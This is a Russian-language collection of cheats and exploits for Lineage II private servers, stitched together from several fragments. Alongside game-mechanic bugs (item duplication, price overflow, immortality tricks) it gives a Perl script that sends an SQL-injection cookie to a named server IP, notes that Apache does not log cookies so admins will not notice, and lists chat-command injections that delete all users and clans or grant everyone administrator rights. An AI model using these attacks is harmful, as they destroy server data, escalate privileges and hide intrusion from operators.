Выбрасывается одна, а запоминается много.

Заходите клиентом этого же перса и поднимаете ни одну соску, а к примеру 10к уже, все зависит от числа, пробуйте, может
больше будет! Соска должна быть 1 в инвентаре.

Возможно на сайте сервера есть "личный кабинет", в который вы входите используя свой логин и пароль (как например на
la2.raid.ru или lineageii.ru)
Скорее всего сделать инъекцию напрямую через поля login и password сделать не получится, т.к. администраторы наверняка
сделали фильтр "зловредных символов".
Но у таких личных кабинетов есть своё уязвимое место.

Заметим что одинажды зайдя на сайт, он "запоминает" нас делая запись с нашими логином и паролем в кукисы. Само собой
когда мы в следующий раз зайдем на сайт, браузер автоматически пошлет наш логин и пароль из кукисов.
Вот тут администраторы и чаще всего ошибаются, забыв сделать элементарную проверку кукисов, в расчете что
пользователь не сможет их править, а зря!

Ниже приведен скрипт, который посылает наш кукис серверу, в котором содержится инъекция.

PHP код:
язык - perl, думаю срипт можно будет без труда переписать на более близкий к вам по духу язык)
#!/usr/bin/perl -w
use IO::Socket;
use strict;
use CGI;
my $host = '212.33.232.148';
#здесь host - IP сервера на который посылается куки (в нашем случае это рейд)
my $EOL = "\015\012";
my $NL = "%0D%0A";
my $BLANK = $EOL x 2;
my $remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)");
unless ($remote)
{
die "cannot connect to http daemon on $host\n";
}
$remote->autoflush(1);
print
$remote
"GET /index.php HTTP/1.0".$EOL.
"Cookie: login=\'SHUTDOWN--".
$BLANK;
while (0 and <$remote>)
{
print;
# last if $. == 200;
}
close $remote;

У данной инъекции есть один весомый плюс:
апач не пишет в свои логи кукисы, так что сделав инъекцию через них администраторы далеко не сразу поймут через что их
взломали

Проходит редко.

Человек А кладет вещи в торговлю (trade), в это время человек Б нажимает ОК, и делает рестарт. ~30% шанс что у человека А нажмется ОК и вещь перейдет человеку Б.

Человек А ставит в приват стори вещь за 4.967.297а и 500 любых других вещей (стреы ССки кристалы) по 10.000.000.

После этого человек Б покупает вещь и 429 вещей по 10.000.000, и цена в торге станет 1а.

Также, если стоит цена 14.967.297а то просто надо купить 428 вещей по 10.000.000, и так механизм прост х4967297а и 429-х вещей по 10.000.000.

Если поставить цену за предмет 5.000.000а, то цена в торговле будет не 1а, а 32.000 (с копейками)

1.Надо создать клан Даггерщиком.

2.Начинается осада, включаем Silent Move, и идем покорять замок, гуарды не трогают тебя.

Подходишь к Главному Артефакту, и включаешь клан-магию.

Главное не трогать Гуардов, иначе они могут наброситься и сразу убить

Дюпаем последний квестовый предмет.

Затем передаём дюпнутые квестовые предметы пэту.

Например для моего квеста нужно 8 клыков паука, значит я передаю эти 8 клыков от пэта своему чару.

Жмем квест - квест у нпц и получаем награду.

Берем квест заново.

заново перекидываем 8 клыков чару и так до бесконечности!

Автоматизировать можно макросом или скриптом.

2. Нам понадобяться 2 чара желательно оба равного лвл, 1ый чар - ЛУЧНИК (ОБЯЗАТЕЛЬНО) 2ой ШИЛИН ЭЛДЕР или ШИЛИНГ КНАЙТ (желательно 1ое , хотя на некоторых сераках и то и то одинаково работает)

3. Лучником наскорую качаемся до лвл конкурентов (ну до 80 к примеру) на ПВП сервака это быстро ... Внимание НЕ КАЧАЕМ СКИЛ ХАСТЕ (при читерстве надо быть без бафа вообще , без вссяких сетов которые прибавляют Скорость атаки), если есть возможность купить краски для тату то покупаем -5 DEX (желательно , весьма нужная штуковина) Покупаем VERY SLOW лук , SOUL BOW пойдет 100 проц , Желательно если вы 52 лвл напяливаем что нить что дает штраф.

4. Запускаем бота ШИЛКУ ЕЛДЕЛА , флагаемся (бот должен приблизительно быть одинакового лвл) сразу кидаем ВИНД ШАКАЛА (который снижает скорость атаки) либо Шилкой кнайтом КУБИКОМ понижаем себе же скорость атаки , ДЕБАФ спадает через 2-5 минут , но эффект скорее всего останеться на 90 проц (на крутых шардах фикс стоит на 2-5 минут , но этого вполне хватает что бы завалить антараса или ешё кого нить)

5. Ваша скорость Атаки заходит в МИНУС , а это значит что скорость атаки у вас 99999.
Вообще смысл бага сделать все возможное что бы скорость атаки была как можно меньше , и когда накладывался ДЕБАФ она вообще уходила в минус.

Создаем Мага 1ого лвл , одеваем этот сет , и ХП уходит в МИНУС , и вы становитесь БЕССМЕРТНЫМ.

/block 'SHUTDOWN--

/block 'UPDATE user_data SET builder = 1 WHERE char_id > 0''-- (после рестарта - все становятся ГМами)

/block 'delete/**/pledge-- (удаление всех кланов)

/block 'delete from user_data-- (удаление всех юзеров)

/block 'exec(lin_setBuilderAccount'аккаунт',1)-- дает указанному аккаунту права ГМа

Также место /block можно использовать /friendinvite (т.к. и блок и фриенд - обращаются напрямую к БД)

2. 1 заточка грейда соответсвующая вепону.

3. Умение точить фейком без ВХ.

4. Сервер, на котором бывают хотябы 5-10 секундные лаги (то есть сски не юзаются, банки не пьются, не растёт какос)

Способ :

Сваливаем куда-нибудь в безлюдное место.

Берём в руки веапон, а заточку кладём на хоткей.

Потом, берём энчант, и кидаем его на пол (у вас выскочит табличка - выкинуть или нет).

Ничего не нажимаем.

Далее любыми бутылками тестим лаг, то есть пьём их раз в 1-2 секунды (предварительно, конечно, надо положить банки на хоткей).

Как только бутылка не выпилась - пошёл лаг.

Нажимаем выбросить скрол, и быстро тыкаем на хоткей с энчантом.

Потом быстро, раз в полсекунды (но не так быстро чтобы пушка при даблклике упала на бэкпэк) начинаем фигачить на вепон.

У вас в окошке системном будет чтото типа - заточилось, заточилось, заточилось, заточилось, незаточилось, заточилось - и тд,

смотря сколько успели натыкать, столько надписей и будет.

Далее лаг отходит, скрол падает на пол (а возможно и нет), и вы наблюдаете надпись - Sorry, you have been disconected

Также можно использовать Fake Death не по назначению - бежим, нажимаем Fake Death и очень быстро отменяем его.
В итоге мы может ходить\бегать с включенным скилом.

По нам никто не может стрелять.